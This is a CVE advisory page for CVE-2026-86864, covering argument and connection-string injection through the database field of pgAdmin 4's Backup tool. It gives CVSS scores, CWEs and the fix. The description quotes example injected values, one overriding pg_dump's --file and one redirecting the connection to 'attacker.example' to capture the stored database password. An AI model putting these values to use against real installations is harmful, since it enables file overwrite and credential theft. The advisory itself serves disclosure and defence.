Search CVEs and advisories

Search CVEs and Linux security advisories by vendor, product, package, or severity, and see which vulnerabilities each advisory addresses.

CVE

CVE-2026-86864

published high CVSS 4.0 · 8.7

pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool

Published
17 Sep 2026, 15:31:00 UTC
Updated
17 Sep 2026, 16:00:02 UTC
Language
en

Package status and fixes

Distro / vendorReleasePackage / productPublisher statusFixed buildSource
pgadmin.org — pgAdmin 40 to < 9.18 · Other versions: unaffected Affected Not stated PostgreSQL

Description

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

en · PostgreSQL · cna

Vendor advisories explicitly linked to this CVE.

0

No linked advisories were found for this CVE.

Assessment

CVSS risk assessment and additional context for this vulnerability.

CVSS version
4.0
Base score
8.7 / 10
Severity
high
Provider
PostgreSQL · cna
Vector string
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Scenarios
en: Same reasoning as the CVSS 3.1 entry: a low-privilege authenticated user achieves arbitrary file write as the pgAdmin operating-system account and can redirect the utility connection to capture the stored database credential. VC:H/VI:H/VA:H reflect credential disclosure, arbitrary overwrite, and destruction of pgAdmin's own data. SC:N/SI:N/SA:N because the consequences remain within the authority pgAdmin already exercises.

Additional Assessments

Additional normalized CVSS assessments
VersionScoreSeverityProviderVectorScenarios
3.1 8.8 high PostgreSQL · cna CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H en: Threat model: an authenticated pgAdmin user holding the tools_backup permission, which the default User role grants, and with a connected server. Submitting a crafted 'database' value is a single ordinary request requiring no victim interaction, so Attack Complexity is Low and User Interaction is None. Integrity and Availability are High because the attacker obtains arbitrary file creation and overwrite as the account running pgAdmin, which includes pgAdmin's own configuration database. Confidentiality is High because the connection-string variant delivers the decrypted stored database password to an endpoint the attacker selects; this is most significant where the password is supplied by a password execution command and is therefore never known to the user. Scope is Unchanged: the writes and the credential are performed with, and belong to, the authority pgAdmin already holds, and no direct code execution is demonstrated, which is why this is scored below an equivalent flaw yielding command execution outright.

Publisher product statements

Version ranges and default statuses as reported by each provider.

Affected vendor and product assertions
VendorProductVersion statusSource
pgadmin.org pgAdmin 4 0 to < 9.18 (affected · custom)Default: unaffected PostgreSQL · cna

Weaknesses

2
  • CWE-88 CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (PostgreSQL · cna)
  • CWE-22 CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (PostgreSQL · cna)

References

1

Provider assertions

2

PostgreSQL · cna

pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool

CISA-ADP · adp

CISA ADP Vulnrichment

Provenance

Schema
5.2
Searchable
yes
Content hash
73e9933d391a5f7f83db6c8964be215b42e782e9d2ce45405058c1bfadc1a1df
Ingested
23 Sep 2026, 09:37:28 UTC
Source record
Official CVE record

Search filters

Match options apply to free text. CVE words match tokens; use contains:"…" for literal substrings.

Text

Words and phrases
buffer overflow "remote code execution"
Word prefix
auth*
Literal substring (title or description)
contains:"use-after-free"
Exclude a term or filter
-test -vendor:example

Affected product

Vendor
vendor:Example
Product
product:"Demo Widget"

Severity and score

Severity · none, low, medium, high, critical, unknown
severity:critical
CWE identifier
cwe:CWE-863
CVSS score (0–10)
cvss:>=7.0

Dates and status

Published date · comparisons, relative days
published:>=2026-01-01
Updated date · comparisons, relative days
updated:<30d
Status · published (default), rejected, unknown
status:rejected